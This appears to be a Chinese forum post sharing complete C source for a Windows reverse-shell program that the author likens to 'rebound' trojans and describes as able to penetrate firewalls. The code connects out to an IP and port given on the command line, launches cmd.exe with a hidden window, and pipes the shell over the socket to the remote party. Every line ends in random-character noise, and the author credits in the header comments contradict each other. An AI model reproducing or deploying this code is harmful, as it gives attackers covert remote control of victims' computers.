这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 w_YY~Af
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/* ============================== G~NhBA9
Rebound port in Windows NT Xg;q\GS/<i
By wind,2006/7 &WdP=E"
===============================*/ II.Wa&w}
#include {9hhfI#3_
#include VKi3z%kwK
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#pragma comment(lib,"wsock32.lib") !)c0
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void OutputShell(); `U;V-
SOCKET sClient; ik0w\*
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2Mu(GUe;
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void main(int argc,char **argv) mW)"~sA
{ QEEX|WM
WSADATA stWsaData; 'YEiT#+/
int nRet; x_EU.924uY
SOCKADDR_IN stSaiClient,stSaiServer; &0mhO+g
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if(argc != 3) 6uFGq)4p@
{ ND5E`Va5R
printf("Useage:\n\rRebound DestIP DestPort\n"); JM*rPzp
return; *JaFt@ x
} C,u;l~zz
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WSAStartup(MAKEWORD(2,2),&stWsaData); \)PS&Y8n
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *8 ]
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stSaiClient.sin_family = AF_INET; Bc#6mO-
stSaiClient.sin_port = htons(0); +Jc-9Ko\c;
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); FRTvo
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) td+[Na0d
{ 1 z[blNs&
printf("Bind Socket Failed!\n"); tQ4{:WPG
return; Zn'y"@%t[
} T0}P 'q
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stSaiServer.sin_family = AF_INET; Jaf=qwZ/`
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); j0jam:.p
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5xG/>fn
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *Xd_=@L&B
{ 14\!FCe)!
printf("Connect Error!"); o-t!z'\lO
return; .LNqU#a
} D%.<}vG
OutputShell(); 5{6ebq55"
} 1'* {VmM
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void OutputShell() Mq,_DQ
{ vGPaW YV
char szBuff[1024]; JGk,u6K7
SECURITY_ATTRIBUTES stSecurityAttributes; )^'wcBod,
OSVERSIONINFO stOsversionInfo; ZZ6F0FLXJ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; O4 Y;
STARTUPINFO stStartupInfo; Va'K~$d_
char *szShell; YJwz*@l
PROCESS_INFORMATION stProcessInformation; __||cQ
unsigned long lBytesRead; %K]nX#.B&
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +<I1@C
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /h%MWCZWm^
stSecurityAttributes.lpSecurityDescriptor = 0; :hxZ2O?5_
stSecurityAttributes.bInheritHandle = TRUE; @)8C
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]H<C Rw
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8JAT2a61ur
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _'oy
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yc 5n
stStartupInfo.wShowWindow = SW_HIDE; -.WVuc`
stStartupInfo.hStdInput = hReadPipe; 7f
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; X]*W +
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GetVersionEx(&stOsversionInfo); Bj7\{x,?
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switch(stOsversionInfo.dwPlatformId) z*>CP
{ JGD{cr[S
case 1: !ZV#~t:)
szShell = "command.com"; XsHl%o8,z
break; HIeMV,.QN
default: (;h]'I@
szShell = "cmd.exe"; 5cQBqH]
break; c#;LH5KI
} UwQ3q
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); tg5jS]O
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send(sClient,szMsg,77,0); V2]S{!p}k
while(1) A1f]HT
{ +CNRSq"
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (A&@
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if(lBytesRead) 0KT{K(
{ c\4n 7m,y
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); o-Idr{
send(sClient,szBuff,lBytesRead,0); |/lIasI
} HNuwq\w
else 1,`x1dcO!A
{ %dT%r=%Y
lBytesRead=recv(sClient,szBuff,1024,0); {Q(6
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if(lBytesRead<=0) break; P [nWmY
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .Na>BR\F
} NV-9C$<n2!
} /9w}[y*E
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return; _zmx
}